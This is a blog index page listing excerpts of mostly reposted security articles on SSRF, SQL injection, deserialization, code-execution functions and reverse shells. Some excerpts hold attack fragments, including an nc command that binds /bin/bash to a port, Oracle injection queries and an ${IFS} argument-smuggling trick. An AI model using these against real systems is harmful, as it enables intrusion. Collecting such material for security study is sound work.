fatshi的博客_51CTO博客

python从内存地址上加载python对象过程详解

【转】https://www.jb51.net/article/178064.htm

python

转载 2020-06-15 10:06:52 430 阅读

JSONP 安全攻防技术

【转】http://blog.knownsec.com/2015/03/jsonp_security_technic/

jsonp

安全

转载 2018-04-03 11:29:29 1035 阅读

SSRF防御

通过限制对内网地址的访问来达到防御SSRF的效果。内网，即PrivateNetwork是有标准定义的，有下面这些：IP协议私有网段10.0.0.0/8172.16.0.0/12192.168.0.0/16私有网段，运营商级NAT内网保留地址段，例如各种proxy：100.64.0.0/10LocalLink网段，获取DHCP失败时，系统会分配这个网段的IP给host，方便跟同一局域网的机器交流16

SSRF

防御

原创 2018-03-22 17:05:54 1356 阅读

SSRF漏洞分析与利用

【转】http://www.91ri.org/17111.html

ssrf

转载 2018-03-09 20:28:53 804 阅读

PHP代码执行函数总结

【转】https://www.cnblogs.com/xiaozi/p/7834367.html PHP中可以执行代码的函数，常用于编写一句话木马，可能导致代码执行漏洞，这里对代码执行函数做一些归纳。　　常见代码执行函数，如　　　　eval()、assert()、preg_replace()、create_function()　　　　array_map()、call_user_fun

PHP

命令执行

转载 2018-03-09 14:59:02 1342 阅读

SSRF

https://www.t00ls.net/articles-41070.html

ssrf

SSRF

转载 2018-02-05 22:40:52 618 阅读

Burpsuite & Fiddler 解析手机HTTPS流量

在配置好BurpSuite（或Fiddler）的代理之后假设代理地址是：10.70.73.100:8080使用手机设置代理地址，然后，再访问http://10.70.73.100:8080可以在页面上下载到证书文件，cacert.der（或fiddler.cer）cacert.der需要改一下后缀为.cer然后在WiFi的高级设置里面安装证书，就能用BurtSuite（或Fiddler）解析HTT

burpsuite

fiddler

https

原创 2018-02-02 18:35:07 3676 阅读

内网渗透思维导图

https://www.processon.com/view/link/5a70445be4b024b99be5cd34?pw=N9M5cSC

脑图

思维导图

内网

转载 2018-01-31 10:38:47 1858 阅读

内容安全策略CSP

【转】https://developer.mozilla.org/zh-CN/docs/Web/HTTP/CSP

csp

转载 2018-01-22 16:48:49 1107 阅读

XXEinjector

https://github.com/enjoiz/XXEinjector

xxe

原创 2017-12-23 14:33:46 1693 阅读

在Android so文件的.init、.init_array上和JNI_OnLoad处下断点

【转】http://blog.csdn.net/luohai859/article/details/54617930

Android

init

init_array

转载 2017-12-22 11:01:20 1654 阅读

AFL技术介绍

【转】http://pwn4.fun/2017/09/21/AFL%E6%8A%80%E6%9C%AF%E4%BB%8B%E7%BB%8D/

AFL

转载 2017-12-14 10:17:54 1944 阅读

Oracle SQL注入常用语句

解析IPselectutl_inaddr.get_host_address('google.com')fromdual;获取本机IP地址selectutl_inaddr.get_host_addressfromdual;根据IP地址反向解析主机名selectutl_inaddr.get_host_name('10.80.18.241')fromdual;--list

Oracle

SQL

注入

原创 2017-12-13 10:41:31 5642 阅读 1收藏

Java反序列化之commons-beanutils分析

TemplatesImpl类是一个可序列化的类，其中有一个属性_bytecodes，里面保存的数据在defineTransletClasses函数里将会被加载成类：存在着这样一条调用链条：简单来说，只要是能调用到getOutputProperties函数，就能触发包含在_bytecodes里的类构造函数被执行（这个类是由攻击者来实现的）。Payload第一部分：创建了一个BeanComparato

java

反序列化

commons

原创 2017-12-13 10:14:34 3277 阅读

AndroidStudio中的NDK开发初探

【转】http://blog.csdn.net/bingjianit/article/details/75567410

android

ndk

转载 2017-12-12 14:53:03 585 阅读

IDA动态调试Android的DEX文件

http://blog.csdn.net/qq1084283172/article/details/49251149

Android

调试

smali

apk

ida

转载 2017-12-07 09:30:40 972 阅读

.Net反序列化漏洞之XmlSerializer

条件：初始化对象时，类型可控：newXmlSerializer(type可控)反序列化对象时，输入内容可控：serializer.Deserialize(fi可控)两个关键类：ObjectDataProvider,ExpandedWrapper//PresentationFramework.dllv4.0.0.0System.Windows.Data.ObjectDataProvider//Sys

.net

反序列化

漏洞

原创 2017-11-29 15:44:26 1709 阅读

.Net反序列化漏洞之BinaryFormatter

https://googleprojectzero.blogspot.com.es/2017/04/exploiting-net-managed-dcom.html.Net反序列化导致RCE的样例，有两点限制：BinaryFormatter::Deserialize反序列化的内容用户可控.NetSDK大于等于4.5usingSystem;usingSystem.Collections.Generi

.net

反序列化

漏洞

原创 2017-11-28 15:04:35 2338 阅读

Runime.getRuntime().exec()中执行任意命令的两种方法

经常发现需要用数组方式传参才能执行某些命令：原因在于执行多参数的时候，空格被当做分隔符了，因此，你的命令行被当成多个参数了：解决方法1：使用${IFS}，例如：echo"a${IFS}a${IFS}a"解决方法2：在你要执行的shell指令前添加如下指令：sh-c$@|sh.echo

shell

java

命令执行

原创 2017-11-27 16:21:54 2814 阅读

漫谈几种反编译对抗技术

【转】http://bobao.360.cn/learning/detail/4732.htmlgood

反编译

对抗

转载 2017-11-23 09:42:48 559 阅读

浅析重定向与反弹Shell命令

【转】http://www.freebuf.com/articles/system/153986.html good

linux

shell

反弹

转载 2017-11-21 09:31:11 1603 阅读

win10中“windbg+vmware+win7双机调试”设置

【转】http://blog.csdn.net/sagittarius_warrior/article/details/51305046 本文主要介绍在win10下如何设置windbg+vmware，以进行双机调试。本文主要参考：李Sir的博客，并浏览了大量网文，以及windbg自带的help文档和MSDN，除了综合各家的经验外，也分享了本人在实践遇到的问题和解决办法。一、安装环境1

windows

vmware

调试

windbg

转载 2017-11-17 11:44:18 5671 阅读

那些“躲避”微软autoruns工具的方法

【转】http://bobao.360.cn/learning/detail/4666.html 背景在第七届的DerbyCon大会上， Chris Bisnett和Kyle Hanslovan发表了一个名叫“Evading Autoruns”的演讲。在这篇演讲中， Kyle 和Chris展示了绕过微软Sysinternals Autoruns工具检查的方法。他们主要利用“PATHEXT”这个Wi

windows

autorun

转载 2017-11-08 10:26:17 1407 阅读

如何把shellcode转换成exe文件分析

【转】http://www.freebuf.com/articles/web/152879.html 前言在分析shellcode时，静态分析或者使用scdbg模拟分析都不够准确，如果转换成exe文件那么就可以用debugger或者IDA分析，会方便很多。样本分析这里以CVE-2013-3346的样本为例，使用peepdf分析样本:$ python peepdf.py

分析

exe

转

shellcode

转载 2017-11-08 09:20:39 957 阅读

node.js + postgres 从注入到Getshell

【转】http://bobao.360.cn/learning/detail/4657.html 前言（最近你们可能会看到我发很多陈年漏洞的分析，其实这些漏洞刚出来我就想写，不过是没时间，拖延拖延，但该做的事迟早要做的，共勉）Postgres是现在用的比较多的数据库，包括我自己的博客，数据库都选择使用Postgres，其优点我就不展开说了。node-postgres是node中连接pg数据库的客户

SQL

postgre

getshell

node.js

转载 2017-11-07 09:45:57 623 阅读

一维条形码攻击技术(Badbarcode)

【转】http://future-sec.com/badbarcode.html 前言在日常生活中，条形码随处可见，特别在超市，便利店，物流业，但你们扫的条形码真的安全吗？之前TK教主在PacSec介绍的条形码攻击和twitter上的demo视频太炫酷，所以就自己买了个扫码器自己研究了一下，在研究时候也找遍了国内外所有资料，但是都没有对可以执行的攻击技术完整的文章，故有此文分享。条形码介绍条形码

攻击

漏洞

条形码

一维码

转载 2017-11-02 10:20:21 1530 阅读 1点赞 1收藏

OllyDBG脚本

具体的OllyDBG脚本参考链接如下：https://www.52pojie.cn/forum.php?mod=viewthread&tid=421750 通过特定的sub esp, xx 这样的代码片段来设置函数断点的脚本如下：var x mov x,10001003 mov eip,x start: findop eip,#83ec??# cmp

script

脚本

OD

OllyDBG

原创 2017-10-31 17:55:12 1639 阅读

密码找回漏洞总结

【转】http://blog.csdn.net/zaqwescsdn/article/details/46559171 1.伪造请求（未注册的情况下）在请求密码修改的过程中，修改账号的手机或邮箱等联系方式，在接受到验证码后进行密码修改。12OPPO修改任意帐号密码-2 OPPO修改任意帐号密码-3 修改了接受密码手机，并且通过对账户类型的修改绕过边界。2.使用正常账户请求修改获

密码

漏洞

忘记

找回

转载 2017-10-25 17:24:06 3208 阅读

JBoss安全问题总结

【转】http://www.huo119.com/post/910.shtm mark~~

漏洞

问题

jboss

常见

安全

转载 2017-10-24 09:18:35 750 阅读

linux各种一句话反弹shell总结

1 nc开启本地监听发布bash服务 1 # nc -lvvp 12345 -t -e /bin/bash 2 常用反弹shell一句话（1） bash 反弹一句话 1 &nb

Linux

安全

shell

一句话

命令行

转载 2017-10-17 09:16:43 5455 阅读

官方博客	全部文章	热门标签	班级博客
了解我们	网站地图	意见反馈

开源基础软件社区	51CTO学堂
51CTO	软考资讯	汽车开发者社区

51CTO博客

duallay的博客